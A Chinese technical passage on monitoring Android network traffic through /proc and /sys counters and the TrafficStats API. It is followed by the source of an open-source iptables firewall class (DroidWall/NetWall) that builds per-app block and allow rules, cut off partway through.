opt in out source destination Chain st_clear_detect (0 references) pkts bytes target prot opt in out source destination Chain st_penalty_log (0 references) pkts bytes target prot opt in out source destination Chain st_penalty_reject (0 references) pkts bytes target prot opt in out source destination
由于安卓内核是剪裁的linux基本核。所以,安卓内存底层数据规律和linux是一致的。研究了下其内存机制,并找到了一种合适的监控方法
比如,设备上偶会收到瞬时异常流量监控告警,当准备查看时可能流量已恢复正常,导致很难定位产生问题的原因。比如:
比如DDOS流量异常检测:
网络类型:
流量检测类型:
1)如何检测Android流量?
rmnet1/rmnet2…
),可以通过netcfg 命令查看所有的网路【adb shell netcfg
】,该命令在Android 6.0以下没有cat /proc/net/route
或route命令,以及ip route命令查看路由表2)Android与流量相关的系统文件
/proc/net/dev
,记录各个网络接口(wlan、ccmni1、lo、ifb、tunl、sit、ip6tnl、p2p
)发送、接收流量的值;【系统总流量】
其中 lo 为本地流量,rmnet0 为移动网络流量 wlan0 为Wi-Fi流量
定时自动更新网络:watch -n1 adb shell netcfg
或watch -n1 adb shell cat /proc/net/dev
/sys/class/net/rmnet0/statistics/rx_bytes
和sys/class/net/ppp0/statistics/rx_bytes
这两文件。而且在getUidRxBytes返回的值中包含了本地通信的流量,比如本地进程间的socket通信。所以这两个值加起来有所出入,这也是我们在测试流量统计时偶尔也会遇到的问题,那就是在飞行模式下应用程序也会提示有几十B的2G/3G流量消耗,产生的本地通信的流量值会很小,只有几KB甚至几十B/proc/net/{xx}
:可以通过该文件拿到 tcp、udp、icmp、unix等的四元组和 inode 信息/proc/{pid}/fd/
:获取pid 及 socket inode文件描述符的映射关系/proc/net/netstat
:提供了主机的收发包数、收包字节数据【只能看到主机级别的信息,无法实现进程级别的流量采集】/proc/net/snmp
:提供了主机各层的IP、ICMP、ICMPMsg、TCP、UDP详细数据【只能看到主机级别的信息,无法实现进程级别的流量采集】:平均每秒新增TCP连接数 | 通过/proc/net/snmp 文件得到最近240秒内PassiveOpens的增量,除以240得到每秒的平均增量 |
---|---|
机器的TCP连接数 | 通过/proc/net/snmp 文件的CurrEstab得到TCP连接数 |
平均每秒的UDP接收数据报 | 通过/proc/net/snmp 文件得到最近240秒内InDatagrams的增量,除以240得到平均每秒的UDP接收数据报 |
平均每秒的UDP发送数据报 | 通过/proc/net/snmp 文件得到最近240秒内OutDatagrams的增量,除以240得到平均每秒的UDP发送数据报 |
/proc/uid_stat/app_uid
,该路径下有两个文件:tcp_snd,tcp_rcv
,记录了app_uid所代表的的应用程序发送、接收的流量值【单个进程流量】/sys/class/net/rmnet0/statistics/tx_packets
/sys/class/net/rmnet0/statistics/rx_packets
/sys/class/net/rmnet0/statistics/tx_bytes
/sys/class/net/rmnet0/statistics/rx_bytes
/sys/class/net/ppp0/statistics/tx_packets
/sys/class/net/ppp0/statistics/rx_packets
/sys/class/net/ppp0/statistics/tx_bytes
/sys/class/net/ppp0/statistics/rx_bytes
/sys/class/net/wlan0/statistics/tx_packets
/sys/class/net/wlan0/statistics/rx_packets
/sys/class/net/wlan0/statistics/tx_bytes
/sys/class/net/wlan0/statistics/rx_bytes
/proc/uid_stat/{uid}/
/proc/uid_stat/{uid}/tcp_rcv
:记录该uid应用下载流量字节/proc/uid_stat/{uid}/tcp_snd
:记录该uid应用上传流量字节/proc/{uid}/net/dev
:记录应用上传和下载流量字节/proc/uid_stat/{uid}/tcp_rcv
和/proc/uid_stat/{uid}/tcp_snd
来获取某个程序的上下行流量、/proc/net/xt_qtaguid/statsadb
(其中第6和8列为 rx_bytes(接收数据)和tx_bytes(传输数据)包含tcp,udp等所有网络流量传输的统计);兼容性差,很多手机没有这两个文件/proc/{uid}/net/dev
来查看应用程序上下行流量;系统的流量信息存放在/proc/self/net/dev、/proc/net/dev
/proc/net/xt_qtaguid/stats
获取进程流量数据/sys/fs/bpf/traffic_uid_stats_map
获取流量;Android 9 开始,内核版本为 4.9 或更高且最初搭载了 Android P 版本的 Android 设备必须使用基于 eBPF 的网络流量监控,抛弃xt_qtaguid,采用ebpf记录网络流量数据,所以无法通过/proc/net/xt_qtaguid/stats
文件获取进程流量数据了adb devices 列出所有设备
adb -s 设备名称 shell 进入对应的设备
cd proc 进入设备的属性目录
cd uid_stat 进入 user id 状态目录,每个应用程序在安装的时候系统会为每个应用分配一个对应的 uid
ls 列出 uid_stat 目录下所有应用对应的 user id 目录
cd uid 进入对应应用的 uid 目录
ls 查看对应 uid 目录下的 tcp_rcv 和 tcp_snd 目录
cat tcp_rcv 查看该应用接收的数据信息
cat tcp_snd 查看该应用发送的数据信息
/proc/net/dev
所有流量的采集和/proc/uid_stat/***
接口里面的节点数据来采集TrafficStats.getTotalRxBytes()
:获取总的接收字节数,包括mobile和wifi的。对应于文档:/proc/net/dev中“Receive Bytes
下所有接口的数据值TrafficStats.getMobileRxBytes()
:获取mobile总的接收字节数;mobile指的是是使用移动网络产生的字节数。对应于文档:/proc/net/dev中“Receive Bytes”下“ccmni1”
接口的数据值TrafficStats.getUidRxBytes(appUid)
:获取某个App从所有网络接口接收到的所有字节数,包括网络流量、本地流量,本地流量指的是进程间socket通信所消耗的字节数。对应于文档:/proc/uid_stat/app_uid/ tcp_rcv
中的数值// 获取一个包管理器 PackageManager pm = getPackageManager(); // 遍历手机操作系统 获取所有的应用程序的UID List<ApplicationInfo> appliactaionInfos = pm.getInstalledApplications(0); for(ApplicationInfo applicationInfo : appliactaionInfos){ int uid = applicationInfo.uid; // 获得应用程序UID // proc/uid_stat/6666【应用程序uid值】 long tx = TrafficStats.getUidTxBytes(uid); // 发送的 上传的流量byte long rx = TrafficStats.getUidRxBytes(uid); // 下载的流量 byte // 方法返回值 -1 代表的是应用程序没有产生流量 或者操作系统不支持流量统计 } TrafficStats.getMobileTxBytes();// 获取手机3g、2g、4g网络上传的总流量 TrafficStats.getMobileRxBytes();// 手机2g/3g下载的总流量 TrafficStats.getTotalTxBytes();// 手机全部网络接口 包括wifi,3g、2g、4g上传的总流量 TrafficStats.getTotalRxBytes();// 手机全部网络接口 包括wifi,3g、2g、4g下载的总流量
Android android_net_TrafficStats
源码地址:https://android.googlesource.com/platform/frameworks/base/+/gingerbread/core/jni/android_net_TrafficStats.cpp
不是所有机器都是用eth0来表示WIFI接口,同样也不是所有rmnet0来表示GPRS, 这些字段的表示都与ROM相关,甚至有些ROM连/proc/net/dev这个文件都没有!如果我们使用的流量监控工具或者程序只适配了这种情况,那么在别的机器上就有可能获取不到流量数据了。既然不同的ROM可能有不同的字段,前比较好的办法是将能收集到的流量字段做成配置文件,然后在读取时去一一匹配,比如配置文件的格式可以如下:
# Wi-Fi
eth
tiwlan
wlan
athwlan
ip6tnl
这里,只是做了统计系统级别流量(不是进程级别流量),在Android 开发使用的流量接口TrafficStats来做流量监控,监控网卡流量,路径如下:
/proc/net/dev
一般情况下,默认第一张网卡为外网卡,检测具体哪张网卡为外网网卡或内网网卡,当然当然还有无线网卡(5分钟检测一次)
ip a
下面是一个开源Android 防火墙iptables的核心代码,支持黑名单与白名单两种模式,可设定允许(白名单)访问的程序或禁止(单名单)访问的程序
droidwall下载地址:
/** * Contains shared programming interfaces. * All iptables "communication" is handled by this class. */ package org.nice.droidwall; import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.StringReader; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.StringTokenizer; import org.nice.droidwall.R; import android.Manifest; import android.app.AlertDialog; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager; import android.content.res.Resources; import android.graphics.drawable.Drawable; import android.util.Log; import android.widget.Toast; /** * 包含共享的编程接口 * 所有 iptables 的“通信”都由这个类处理 * 将所有的操作写入到NetWall.sh文件中,执行并输出结果 * 用iptables -L -v 显示规则 * 用dmesg | grep NetWall 来显示日志 */ public final class Api { /** 应用程序版本号 */ public static final String VERSION = "1.1"; /** 用于指示“任何应用程序”的特殊应用程序 UID */ public static final int SPECIAL_UID_ANY = -10; /** 用于指示 Linux 内核的特殊应用程序 UID */ public static final int SPECIAL_UID_KERNEL = -11; /** root 脚本文件名 */ private static final String SCRIPT_FILE = "NetWall.sh"; // 定义iptables的一些预知参数 public static final String PREFS_NAME = "NetWallPrefs"; public static final String PREF_3G_UIDS = "AllowedUids3G"; public static final String PREF_WIFI_UIDS = "AllowedUidsWifi"; public static final String PREF_PASSWORD = "Password"; public static final String PREF_MODE = "BlockMode"; public static final String PREF_ENABLED = "Enabled"; public static final String PREF_LOGENABLED = "LogEnabled"; // 模式 public static final String MODE_WHITELIST = "whitelist"; public static final String MODE_BLACKLIST = "blacklist"; // Messages public static final String STATUS_CHANGED_MSG = "org.nice.droidwall.intent.action.STATUS_CHANGED"; public static final String TOGGLE_REQUEST_MSG = "org.nice.droidwall.intent.action.TOGGLE_REQUEST"; public static final String STATUS_EXTRA = "org.nice.droidwall.intent.extra.STATUS"; // 缓存的应用程序 public static DroidApp applications[] = null; // 判断是否为root权限,默认为falss private static boolean hasroot = false; // 指示这是否是 ARMv6 设备的标志(-1:未知,0:否,1:是) private static int isARMv6 = -1; /** * 显示一个简单的警告框 * @param ctx context * @param msg message */ public static void alert(Context ctx, CharSequence msg) { if (ctx != null) { new AlertDialog.Builder(ctx) .setNeutralButton(android.R.string.ok, null) .setMessage(msg) .setTitle(ctx.getString(R.string.alert_title)) .show(); } } /** * 检查这是否是 ARMv6 设备 * @return true if this is ARMv6 */ private static boolean isARMv6() { if (isARMv6 == -1) { BufferedReader r = null; try { isARMv6 = 0; r = new BufferedReader(new FileReader("/proc/cpuinfo")); for (String line = r.readLine(); line != null; line = r.readLine()) { if (line.startsWith("Processor") && line.contains("ARMv6")) { isARMv6 = 1; break; } else if (line.startsWith("CPU architecture") && (line.contains("6TE") || line.contains("5TE"))) { isARMv6 = 1; break; } } } catch (Exception ex) { } finally { if (r != null) try {r.close();} catch (Exception ex) {} } } return (isARMv6 == 1); } /** * 创建用于确定要使用的 iptables 二进制文件的通用 shell 脚本头 * @param ctx context * @return script header */ private static String scriptHeader(Context ctx) { final String dir = ctx.getCacheDir().getAbsolutePath(); //cpu架构为ARMv6时用iptabl_g1,否则用iptables_n1 final String myiptables = dir + (isARMv6() ? "/iptables_g1" : "/iptables_n1"); return "" + "IPTABLES=iptables\n" + "BUSYBOX=busybox\n" + "GREP=grep\n" + "ECHO=echo\n" + "# Try to find busybox\n" + "if " + dir + "/busybox_g1 --help >/dev/null 2>/dev/null ; then\n" + " BUSYBOX="+dir+"/busybox_g1\n" + " GREP=\"$BUSYBOX grep\"\n" + " ECHO=\"$BUSYBOX echo\"\n" + "elif busybox --help >/dev/null 2>/dev/null ; then\n" + " BUSYBOX=busybox\n" + "elif /system/xbin/busybox --help >/dev/null 2>/dev/null ; then\n" + " BUSYBOX=/system/xbin/busybox\n" + "elif /system/bin/busybox --help >/dev/null 2>/dev/null ; then\n" + " BUSYBOX=/system/bin/busybox\n" + "fi\n" + "# Try to find grep\n" + "if ! $ECHO 1 | $GREP -q 1 >/dev/null 2>/dev/null ; then\n" + " if $ECHO 1 | $BUSYBOX grep -q 1 >/dev/null 2>/dev/null ; then\n" + " GREP=\"$BUSYBOX grep\"\n" + " fi\n" + " # Grep is absolutely required\n" + " if ! $ECHO 1 | $GREP -q 1 >/dev/null 2>/dev/null ; then\n" + " $ECHO The grep command is required. NetWall will not work.\n" + " exit 1\n" + " fi\n" + "fi\n" + "# Try to find iptables\n" + "if " + myiptables + " --version >/dev/null 2>/dev/null ; then\n" + " IPTABLES="+myiptables+"\n" + "fi\n" + ""; } /** * 复制一个原始资源文件,给定它的 ID 到给定的位置 * @param ctx context * @param resid resource id * @param file destination file * @param mode file permissions (E.g.: "755") * @throws IOException on error * @throws InterruptedException when interrupted */ private static void copyRawFile(Context ctx, int resid, File file, String mode) throws IOException, InterruptedException { final String abspath = file.getAbsolutePath(); // 编写 iptables 二进制文件 final FileOutputStream out = new FileOutputStream(file); final InputStream is = ctx.getResources().openRawResource(resid); byte buf[] = new byte[1024]; int len; while ((len = is.read(buf)) > 0) { out.write(buf, 0, len); } out.close(); is.close(); // 更改权限 Runtime.getRuntime().exec("chmod "+mode+" "+abspath).waitFor(); } /** * 清除并重新添加所有规则(内部实现) * @param ctx application context (mandatory) * @param uidsWifi 允许或禁止 WIFI 的选定 UID 列表(取决于工作模式) * @param uids3g 允许或禁止的 2G/3G 的选定 UID 列表(取决于工作模式) * @param showErrors 指示是否应警告错误 */ private static boolean applyIptablesRulesImpl(Context ctx, List<Integer> uidsWifi, List<Integer> uids3g, boolean showErrors) { if (ctx == null) { return false; } assertBinaries(ctx, showErrors); final String ITFS_WIFI[] = {"tiwlan+", "wlan+", "eth+"}; final String ITFS_3G[] = {"rmnet+","pdp+","ppp+","uwbr+","wimax+"}; final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0); final boolean whitelist = prefs.getString(PREF_MODE, MODE_WHITELIST).equals(MODE_WHITELIST); final boolean blacklist = prefs.getString(PREF_MODE, MODE_BLACKLIST).equals(MODE_BLACKLIST); //final boolean blacklist = !whitelist; final boolean logenabled = ctx.getSharedPreferences(PREFS_NAME, 0).getBoolean(PREF_LOGENABLED, false); final StringBuilder script = new StringBuilder(); try { int code; script.append(scriptHeader(ctx)); script.append("" + "$IPTABLES --version || exit 1\n" + "# Create the NetWall chains if necessary\n" + "$IPTABLES -L NetWall >/dev/null 2>/dev/null || $IPTABLES --new NetWall || exit 2\n" + "$IPTABLES -L NetWall-3g >/dev/null 2>/dev/null || $IPTABLES --new NetWall-3g || exit 3\n" + "$IPTABLES -L NetWall-wifi >/dev/null 2>/dev/null || $IPTABLES --new NetWall-wifi || exit 4\n" + "$IPTABLES -L NetWall-reject >/dev/null 2>/dev/null || $IPTABLES --new NetWall-reject || exit 5\n" + "# Add NetWall chain to OUTPUT chain if necessary\n" + "$IPTABLES -L OUTPUT | $GREP -q NetWall || $IPTABLES -A OUTPUT -j NetWall || exit 6\n" + "# Flush existing rules\n" + "$IPTABLES -F NetWall || exit 7\n" + "$IPTABLES -F NetWall-3g || exit 8\n" + "$IPTABLES -F NetWall-wifi || exit 9\n" + "$IPTABLES -F NetWall-reject || exit 10\n" + ""); // 检查是否启用了日志记录 if (logenabled) { script.append("" + "# Create the log and reject rules (ignore errors on the LOG target just in case it is not available)\n" + "$IPTABLES -A NetWall-reject -j LOG --log-prefix \"[NetWall] \" --log-uid\n" + "$IPTABLES -A NetWall-reject -j REJECT || exit 11\n" + ""); } else { script.append("" + "# Create the reject rule (log disabled)\n" + "$IPTABLES -A NetWall-reject -j REJECT || exit 11\n" + ""); } if (whitelist && logenabled) { script.append("# Allow DNS lookups on white-list for a better logging (ignore errors)\n"); script.append("$IPTABLES -A NetWall -p udp --dport 53 -j RETURN\n"); } script.append("# Main rules (per interface)\n"); for (final String itf : ITFS_3G) { script.append("$IPTABLES -A NetWall -o ").append(itf).append(" -j NetWall-3g || exit\n"); } for (final String itf : ITFS_WIFI) { script.append("$IPTABLES -A NetWall -o ").append(itf).append(" -j NetWall-wifi || exit\n"); } script.append("# Filtering rules\n"); final String targetRule = (whitelist ? "RETURN" : "NetWall-reject"); final boolean any_3g = uids3g.indexOf(SPECIAL_UID_ANY) >= 0; final boolean any_wifi = uidsWifi.indexOf(SPECIAL_UID_ANY) >= 0; if (whitelist && !any_wifi) { // wifi“白名单”时,需要保证dhcp和wifi用户都被允许 int uid = android.os.Process.getUidForName("dhcp"); if (uid != -1) { script.append("# dhcp user\n"); script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner ").append(uid).append(" -j RETURN || exit\n"); } uid = android.os.Process.getUidForName("wifi"); if (uid != -1) { script.append("# wifi user\n"); script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner ").append(uid).append(" -j RETURN || exit\n"); } } if (any_3g) { if (blacklist) { /* 阻止此界面上的任何应用程序 */ script.append("$IPTABLES -A NetWall-3g -j ").append(targetRule).append(" || exit\n"); } } else { /* 在此界面上释放/阻止单个应用程序 */ for (final Integer uid : uids3g) { if (uid >= 0) script.append("$IPTABLES -A NetWall-3g -m owner --uid-owner ").append(uid).append(" -j ").append(targetRule).append(" || exit\n"); } } if (any_wifi) { if (blacklist) { /* 阻止此界面上的任何应用程序 */ script.append("$IPTABLES -A NetWall-wifi -j ").append(targetRule).append(" || exit\n"); } } else { /* 在此界面上释放/阻止单个应用程序 */ for (final Integer uid : uidsWifi) { if (uid >= 0) script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner ").append(uid).append(" -j ").append(targetRule).append(" || exit\n"); } } if (whitelist) { if (!any_3g) { if (uids3g.indexOf(SPECIAL_UID_KERNEL) >= 0) { script.append("# hack to allow kernel packets on white-list\n"); script.append("$IPTABLES -A NetWall-3g -m owner --uid-owner 0:999999999 -j NetWall-reject || exit\n"); } else { script.append("$IPTABLES -A NetWall-3g -j NetWall-reject || exit\n"); } } if (!any_wifi) { if (uidsWifi.indexOf(SPECIAL_UID_KERNEL) >= 0) { script.append("# hack to allow kernel packets on white-list\n"); script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner 0:999999999 -j NetWall-reject || exit\n"); } else { script.append("$IPTABLES -A NetWall-wifi -j NetWall-reject || exit\n"); } } } else { if (uids3g.indexOf(SPECIAL_UID_KERNEL) >= 0) { script.append("# hack to BLOCK kernel packets on black-list\n"); script.append("$IPTABLES -A NetWall-3g -m owner --uid-owner 0:999999999 -j RETURN || exit\n"); script.append("$IPTABLES -A NetWall-3g -j NetWall-reject || exit\n"); } if (uidsWifi.indexOf(SPECIAL_UID_KERNEL) >= 0) { script.append("# hack to BLOCK kernel packets on black-list\n"); script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner 0:999999999 -j RETURN || exit\n"); script.append("$IPTABLES -A NetWall-wifi -j NetWall-reject || exit\n"); } } final StringBuilder res = new StringBuilder(); code = runScriptAsRoot(ctx, script.toString(), res); if (showErrors && code != 0) { String msg = res.toString(); Log.e("NetWall", msg); // 从输出中删除不必要的帮助信息 if (msg.indexOf("\nTry `iptables -h' or 'iptables --help' for more information.") != -1) { msg = msg.replace("\nTry `iptables -h' or 'iptables --help' for more information.", ""); } alert(ctx, "Error applying iptables rules. Exit code: " + code + "\n\n" + msg.trim()); } else { return true; } } catch (Exception e) { if (showErrors) alert(ctx, "error refreshing iptables: " + e); } return false; } /** * 清除并重新添加所有已保存的规则(不是内存中的规则) * 这比仅仅调用“applyIptablesRules”要快得多,因为它不需要读取已安装的应用程序 * @param ctx application context (mandatory) * @param showErrors indicates if errors should be alerted */ public static boolean applySavedIptablesRules(Context ctx, boolean showErrors) { if (ctx == null) { return false; } final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0); final String savedUids_wifi = prefs.getString(PREF_WIFI_UIDS, ""); final String savedUids_3g = prefs.getString(PREF_3G_UIDS, ""); final List<Integer> uids_wifi = new LinkedList<Integer>(); if (savedUids_wifi.length() > 0) { // 检查 wifi 上允许哪些应用程序 final StringTokenizer tok = new StringTokenizer(savedUids_wifi, "|"); while (tok.hasMoreTokens()) { final String uid = tok.nextToken(); if (!uid.equals("")) { try { uids_wifi.add(Integer.parseInt(uid)); } catch (Exception ex) { } } } } final List<Integer> uids_3g = new LinkedList<Integer>(); if (savedUids_3g.length() > 0) { // 检查 2G/3G 上允许哪些应用程序 final StringTokenizer tok = new StringTokenizer(savedUids_3g, "|"); while (tok.hasMoreTokens()) { final String uid = tok.nextToken(); if (!uid.equals("")) { try { uids_3g.add(Integer.parseInt(uid)); } catch (Exception ex) { } } } } return applyIptablesRulesImpl(ctx, uids_wifi, uids_3g, showErrors); } /** * 清除并重新添加所有规则 * @param ctx application context (mandatory) * @param showErrors indicates if errors should be alerted */ public static boolean applyIptablesRules(Context ctx, boolean showErrors) { if (ctx == null) { return false; } saveRules(ctx); return applySavedIptablesRules(ctx, showErrors); } /** * 使用首选项存储保存当前规则 * @param ctx application context (mandatory) */ public static void saveRules(Context ctx) { final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0); final DroidApp[] apps = getApps(ctx); // 构建以管道分隔的名称列表 final StringBuilder newuids_wifi = new StringBuilder(); final StringBuilder newuids_3g = new StringBuilder(); for (int i=0; i<apps.length; i++) { if (apps[i].selected_wifi) { if (newuids_wifi.length() != 0) newuids_wifi.append('|'); newuids_wifi.append(apps[i].uid); } if (apps[i].selected_3g) { if (newuids_3g.length() != 0) newuids_3g.append('|'); newuids_3g.append(apps[i].uid); } } // 保存新的 UID 列表 final Editor edit = prefs.edit(); edit.putString(PREF_WIFI_UIDS, newuids_wifi.toString()); edit.putString(PREF_3G_UIDS, newuids_3g.toString()); edit.commit(); } /** * 清除所有 iptables 规则 * @param ctx mandatory context * @param showErrors indicates if errors should be alerted * @return 如果规则被清除,则为 true */ public static boolean purgeIptables(Context ctx, boolean showErrors) { StringBuilder res = new StringBuilder(); try { assertBinaries(ctx, showErrors); int code = runScriptAsRoot(ctx, scriptHeader(ctx) + "$IPTABLES -F NetWall\n" + "$IPTABLES -F NetWall-reject\n" + "$IPTABLES -F NetWall-3g\n" + "$IPTABLES -F NetWall-wifi\n", res); if (code == -1) { if (showErrors) alert(ctx, "error purging iptables. exit code: " + code + "\n" + res); return false; } return true; } catch (Exception e) { if (showErrors) alert(ctx, "error purging iptables: " + e); return false; } } /** * 显示 iptables 规则输出 * @param ctx application context */ public static void showIptablesRules(Context ctx) { try { final StringBuilder res = new StringBuilder(); runScriptAsRoot(ctx, scriptHeader(ctx) + "$ECHO $IPTABLES\n" + "$IPTABLES -L -v\n", res); alert(ctx, res); } catch (Exception e) { alert(ctx, "error: " + e); } } /** * 显示日志 * @param ctx application context * @return true if the clogs were cleared */ public static boolean clearLog(Context ctx) { try { final StringBuilder res = new StringBuilder(); int code = runScriptAsRoot(ctx, "dmesg -c >/dev/null || exit\n", res); if (code != 0) { alert(ctx, ctx.getString(R.string.no_root_access) + res); return false; } return true; } catch (Exception e) { alert(ctx, ctx.getString(R.string.no_root_access) + e); } return false; } /** * 显示日志 * @param ctx application context */ public static void showLog(Context ctx) { try { StringBuilder res = new StringBuilder(); int code = runScriptAsRoot(ctx, scriptHeader(ctx) + "dmesg | $GREP NetWall\n", res); if (code != 0) { if (res.length() == 0) { res.append("Log is empty"); } alert(ctx, res); return; } final BufferedReader r = new BufferedReader(new StringReader(res.toString())); final Integer unknownUID = -99; res = new StringBuilder(); String line; int start, end; Integer appid; final HashMap<Integer, LogInfo> map = new HashMap<Integer, LogInfo>(); LogInfo loginfo = null; while ((line = r.readLine()) != null) { if (line.indexOf("[NetWall]") == -1) continue; appid = unknownUID; if (((start=line.indexOf("UID=")) != -1) && ((end=line.indexOf(" ", start)) != -1)) { appid = Integer.parseInt(line.substring(start+4, end)); } loginfo = map.get(appid); if (loginfo == null) { loginfo = new LogInfo(); map.put(appid, loginfo); } loginfo.totalBlocked += 1; if (((start=line.indexOf("DST=")) != -1) && ((end=line.indexOf(" ", start)) != -1)) { String dst = line.substring(start+4, end); if (loginfo.dstBlocked.containsKey(dst)) { loginfo.dstBlocked.put(dst, loginfo.dstBlocked.get(dst) + 1); } else { loginfo.dstBlocked.put(dst, 1); } } } //取出程序名 final DroidApp[] apps = getApps(ctx); for (Integer id : map.keySet()) { res.append("App ID "); if (id != unknownUID) { res.append(id); for (DroidApp app : apps) { if (app.uid == id) { res.append(" (").append(app.names[0]); if (app.names.length > 1) { res.append(", ...)"); } else { res.append(")"); } break; } } } else { res.append("(kernel)"); } //显示某IP过滤的包数 loginfo = map.get(id); res.append(" - Blocked ").append(loginfo.totalBlocked).append(" packets"); if (loginfo.dstBlocked.size() > 0) { res.append(" ("); boolean first = true; for (String dst : loginfo.dstBlocked.keySet()) { if (!first) { res.append(", "); } res.append(loginfo.dstBlocked.get(dst)).append(" packets for ").append(dst); first = false; } res.append(")"); } res.append("\n\n"); } if (res.length() == 0) { res.append("Log is empty"); } alert(ctx, res); } catch (Exception e) { alert(ctx, "error: " + e); } } /** * @param ctx application context (mandatory) * @return 应用程序列表 */ public static DroidApp[] getApps(Context ctx) { if (applications != null) { // 返回缓存实例 return applications; } final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0); // 允许的应用程序名称由管道“|”分隔(坚持) final String savedUids_wifi = prefs.getString(PREF_WIFI_UIDS, ""); final String savedUids_3g = prefs.getString(PREF_3G_UIDS, ""); int selected_wifi[] = new int[0]; int selected_3g[] = new int[0]; if (savedUids_wifi.length() > 0) { // 检查允许哪些应用程序 final StringTokenizer tok = new StringTokenizer(savedUids_wifi, "|"); selected_wifi = new int[tok.countTokens()]; for (int i=0; i<selected_wifi.length; i++) { final String uid = tok.nextToken(); if (!uid.equals("")) { try { selected_wifi[i] = Integer.parseInt(uid); } catch (Exception ex) { selected_wifi[i] = -1; } } } // 对数组进行排序以允许稍后使用“Arrays.binarySearch” Arrays.sort(selected_wifi); } if (savedUids_3g.length() > 0) { // 检查允许哪些应用程序 final StringTokenizer tok = new StringTokenizer(savedUids_3g, "|"); selected_3g = new int[tok.countTokens()]; for (int i=0; i<selected_3g.length; i++) { final String uid = tok.nextToken(); if (!uid.equals("")) { try { selected_3g[i] = Integer.parseInt(uid); } catch (Exception ex) { selected_3g[i] = -1; } } } // 对数组进行排序以允许稍后使用“Arrays.binarySearch” Arrays.sort(selected_3g); } try { final PackageManager pkgmanager = ctx.getPackageManager(); final List<ApplicationInfo> installed = pkgmanager.getInstalledApplications(0); final HashMap<Integer, DroidApp> map = new HashMap<Integer, DroidApp>(); final Editor edit = prefs.edit(); boolean changed = false; String name = null; String cachekey = null; DroidApp app = null; for (final ApplicationInfo apinfo : installed) { app = map.get(apinfo.uid); // 过滤不允许访问互联网的应用程序 if (app == null && PackageManager.PERMISSION_GRANTED != pkgmanager.checkPermission(Manifest.permission.INTERNET, apinfo.packageName)) { continue; } // 尝试从我们的缓存中获取应用程序标签 - getApplicationLabel() 非常慢 cachekey = "cache.label."+apinfo.packageName; name = prefs.getString(cachekey, ""); if (name.length() == 0) { // 获取标签并放入缓存 name = pkgmanager.getApplicationLabel(apinfo).toString(); edit.putString(cachekey, name); changed = true; } if (app == null) { app = new DroidApp(); app.uid = apinfo.uid; app.names = new String[] { name }; map.put(apinfo.uid, app); } else { final String newnames[] = new String[app.names.length + 1]; System.arraycopy(app.names, 0, newnames, 0, app.names.length); newnames[app.names.length] = name; app.names = newnames; } // 检查是否选择了此应用程序 if (!app.selected_wifi && Arrays.binarySearch(selected_wifi, app.uid) >= 0) { app.selected_wifi = true; } if (!app.selected_3g && Arrays.binarySearch(selected_3g, app.uid) >= 0) { app.selected_3g = true; } } if (changed) { edit.commit(); } /* 将特殊应用程序添加到列表中 */ final DroidApp special[] = { new DroidApp(SPECIAL_UID_ANY,"(Any application) - Same as selecting all applications", false, false), new DroidApp(SPECIAL_UID_KERNEL,"(Kernel) - Linux kernel", false, false), new DroidApp(android.os.Process.getUidForName("root"), "(root) - Applications running as root", false, false), new DroidApp(android.os.Process.getUidForName("media"), "Media server", false, false), new DroidApp(android.os.Process.getUidForName("vpn"), "VPN networking", false, false), new DroidApp(android.os.Process.getUidForName("shell"), "Linux shell", false, false), }; for (int i=0; i<special.length; i++) { app = special[i]; if (app.uid != -1 && !map.containsKey(app.uid)) { // 检查是否允许此应用程序 if (Arrays.binarySearch(selected_wifi, app.uid) >= 0) { app.selected_wifi = true; } if (Arrays.binarySearch(selected_3g, app.uid) >= 0) { app.selected_3g = true; } map.put(app.uid, app); } } applications = new DroidApp[map.size()]; int index = 0; for (DroidApp application : map.values()) applications[index++] = application; return applications; } catch (Exception e) { alert(ctx, "error: " + e); } return null; } /** * 检查我们是否有root访问权限 * @param ctx mandatory context * @param showErrors indicates if errors should be alerted * @return boolean true if we have root */ public static boolean hasRootAccess(Context ctx, boolean showErrors) { if (hasroot) return true; final StringBuilder res = new StringBuilder(); try { // 运行一个空脚本只是为了检查 root 访问 if (runScriptAsRoot(ctx, "exit 0", res) == 0) { hasroot = true; return true; } } catch (Exception e) { } if (showErrors) { //没有root权限时错误提示信息 alert(ctx, ctx.getString(R.string.no_root_access) + res.toString()); } return false; } /** * 以 root 或普通用户身份运行脚本(多个命令以“\n”分隔) * @param ctx mandatory context * @param script the script to be executed * @param res the script output response (stdout + stderr) * @param timeout timeout in milliseconds (-1 for none) * @return 脚本退出代码 */ public static int runScript(Context ctx, String script, StringBuilder res, long timeout, boolean asroot) { final File file = new File(ctx.getCacheDir(), SCRIPT_FILE); final ScriptRunner runner = new ScriptRunner(file, script, res, asroot); runner.start(); try { if (timeout > 0) { runner.join(timeout); } else { runner.join(); } if (runner.isAlive()) { // Timed-out runner.interrupt(); runner.join(150); runner.destroy(); runner.join(50); } } catch (InterruptedException ex) {} return runner.exitcode; } /** * 以 root 身份运行脚本(由“\n”分隔的多个命令) * @param ctx mandatory context * @param script the script to be executed * @param res the script output response (stdout + stderr) * @param timeout timeout in milliseconds (-1 for none) * @return the script exit code */ public static int runScriptAsRoot(Context ctx, String script, StringBuilder res, long timeout) { return runScript(ctx, script, res, timeout, true); } /** * 以 root 身份运行脚本(多个命令由“\n”分隔),默认超时为 20 秒 * @param ctx mandatory context * @param script the script to be executed * @param res the script output response (stdout + stderr) * @param timeout timeout in milliseconds (-1 for none) * @return the script exit code * @throws IOException 执行脚本或将其写入磁盘的任何错误 */ public static int runScriptAsRoot(Context ctx, String script, StringBuilder res) throws IOException { return runScriptAsRoot(ctx, script, res, 40000); } /** * 以普通用户身份运行脚本(多个命令用“\n”分隔),默认超时时间为 20 